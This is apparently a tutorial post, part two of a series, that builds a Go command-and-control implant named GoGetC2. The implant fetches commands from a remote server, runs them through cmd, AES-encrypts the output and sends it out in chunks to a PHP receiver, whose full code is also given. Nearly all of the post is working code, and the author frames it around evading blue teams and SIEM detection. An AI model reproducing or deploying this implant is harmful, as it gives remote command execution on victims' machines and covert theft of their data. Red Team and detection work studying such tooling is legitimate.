If you had a chance to read the first part of this C2, you'll notice it's very basic. It's just reading the command and sending out the output, but not much else is going on. Using this C2 in a Red Team engagement would be a bad idea, considering our commands are in plain text, the GET requests don’t simulate a real browser, we don't have a user id, no loop, the Go code isn’t obfuscated, and much more. We might get away with it for a bit, but once we get caught, all our bridges will be burned.
We can get rid of the most complicated part of this project, encryption. By reviewing Golang documentation on AES, https://pkg.go.dev/crypto/aes, we can create a function that encrypts our output before sending our GET request.
No need to reinvent the wheel so looking at hackernoon.com note we can grab the function 'encryptAES'.
https://hackernoon.com/reliable-protection-of-user-data-hashing-and-obfuscation
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io"
)
func encryptAES(plaintext, key string) (string, error) {
block, err := aes.NewCipher([]byte(key))
if err != nil {
return "", err
}
cipherText := make([]byte, aes.BlockSize+len(plaintext))
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return "", err
}
stream := cipher.NewCFBEncrypter(block, iv)
stream.XORKeyStream(cipherText[aes.BlockSize:], []byte(plaintext))
return base64.URLEncoding.EncodeToString(cipherText), nil
}
func main() {
key := "myVerySecretKey12" // AES-128/256
data := "User Email: user@example.com"
encrypted, err := encryptAES(data, key)
if err != nil {
panic(err)
}
fmt.Println("Encrypted Data:", encrypted)
}
This setup looks solid as it's using AES for encryption and then base64 to make it easier to send over the web. The problem is, base64 sticks out like a sore thumb. A blue teamer or a decent SIEM can spot it fast, and honestly, I’d hate for that to be the reason we get burned.
yKv9qvNcitgjYerX09aNDeABWiftGyalayWVc-eShw==
On top of it all, this could get very lengthy so we got to find another solution.
Encryption functions:
func encryptAES(plaintext, key string) (string, error) {
block, err := aes.NewCipher([]byte(key))
if err != nil {
return "", err
}
cipherText := make([]byte, aes.BlockSize+len(plaintext))
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return "", err
}
stream := cipher.NewCFBEncrypter(block, iv)
stream.XORKeyStream(cipherText[aes.BlockSize:], []byte(plaintext))
return base64.URLEncoding.EncodeToString(cipherText), nil
}
Function to use that slices a string input multiple of chunks:
func chunkString(s string, chunkSize int) []string {
var chunks []string
for i := 0; i < len(s); i += chunkSize {
end := i + chunkSize
if end > len(s) {
end = len(s)
}
chunks = append(chunks, s[i:end])
}
return chunks
}
Lastly lets exfil each chunk using GET request.
func exfiltrateChunks(encrypted string) {
chunks := chunkString(encrypted, 100)
for i, chunk := range chunks {
exfilURL := fmt.Sprintf("https://domain.name.com/GoGet/receiver.php?part=%d&data=%s",
i, url.QueryEscape(chunk))
resp, err := http.Get(exfilURL)
if err != nil {
fmt.Printf("Chunk %d failed: %v\n", i, err)
continue
}
resp.Body.Close()
fmt.Printf("Chunk %d sent.\n", i)
}
}
Before we run this code, lets fix up our PHP receiver to save each chunk in a temp file and then once the last chunk is added, put them together and save as one string.
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
$chunkFile = '/data/chunks.tmp';
$resultFile = '/data/C2_results.txt';
// Handle chunk reception
if (isset($_GET['part']) && isset($_GET['data'])) {
$part = (int)$_GET['part'];
$data = $_GET['data'];
// Save the chunk to temporary file
file_put_contents($chunkFile, "$part:$data\n", FILE_APPEND | LOCK_EX);
echo "Chunk $part received";
exit;
}
// If "done" meaning last chunk sent
if (isset($_GET['done']) && $_GET['done'] == 1) {
if (!file_exists($chunkFile)) {
echo "No chunks found.";
exit;
}
// Read and sort chunks
$lines = file($chunkFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$chunks = [];
foreach ($lines as $line) {
[$part, $data] = explode(':', $line, 2);
$chunks[(int)$part] = $data;
}
ksort($chunks);
$reassembled = implode('', $chunks);
// Save the full results
$timestamp = date("Y-m-d H:i:s");
file_put_contents($resultFile, "[$timestamp] $reassembled\n", FILE_APPEND | LOCK_EX);
// Clean up temp file
unlink($chunkFile);
echo "All chunks assembled and saved.";
exit;
}
// Default response
echo "Waiting for chunks...";
?>
This receiver will wait for 'done' flag, once this arrives it will put all strings together in order and clean up the temp file.
Final Golang code for GoGetC2:
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"net/http"
"net/url"
"os/exec"
"strings"
)
// AES Encryption
func encryptAES(plaintext, key string) (string, error) {
block, err := aes.NewCipher([]byte(key))
if err != nil {
return "", err
}
cipherText := make([]byte, aes.BlockSize+len(plaintext))
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return "", err
}
stream := cipher.NewCFBEncrypter(block, iv)
stream.XORKeyStream(cipherText[aes.BlockSize:], []byte(plaintext))
return base64.URLEncoding.EncodeToString(cipherText), nil
}
// Chunk Logic
func chunkString(s string, chunkSize int) []string {
var chunks []string
for i := 0; i < len(s); i += chunkSize {
end := i + chunkSize
if end > len(s) {
end = len(s)
}
chunks = append(chunks, s[i:end])
}
return chunks
}
func exfiltrateChunks(encrypted string) {
chunks := chunkString(encrypted, 100)
baseURL := "https://domain.name.com/GoGet/receiver.php"
for i, chunk := range chunks {
exfilURL := fmt.Sprintf("%s?part=%d&data=%s", baseURL, i, url.QueryEscape(chunk))
resp, err := http.Get(exfilURL)
if err != nil {
fmt.Printf("Chunk %d failed: %v\n", i, err)
continue
}
resp.Body.Close()
}
// Send final signal
finalURL := fmt.Sprintf("%s?done=1", baseURL)
http.Get(finalURL)
}
// C2 Command
func fetchCommand() (string, error) {
commandURL := "https://domain.name.com/GoGet/command.txt"
resp, err := http.Get(commandURL)
if err != nil {
return "", fmt.Errorf("GET request failed: %v", err)
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", fmt.Errorf("reading response failed: %v", err)
}
return strings.TrimSpace(string(body)), nil
}
func executeCommand(cmd string) string {
out, err := exec.Command("cmd", "/C", cmd).CombinedOutput()
if err != nil {
return fmt.Sprintf("Error: %v\n%s", err, string(out))
}
return string(out)
}
func main() {
cmd, err := fetchCommand()
if err != nil {
fmt.Println("Error fetching command:", err)
return
}
result := executeCommand(cmd)
key := "thisis32bitlongpassphraseimusing"
encrypted, err := encryptAES(result, key)
if err != nil {
fmt.Println("Encryption failed:", err)
return
}
exfiltrateChunks(encrypted)
}
Output from receiver.php for command whoami:
└─$ cat /sitefolder/data/C2_results.txt
[2025-07-21 03:58:42] 2qidz0aLs-S7xwxnWi0_QqV5JlounkSg6LCoDm6UJA==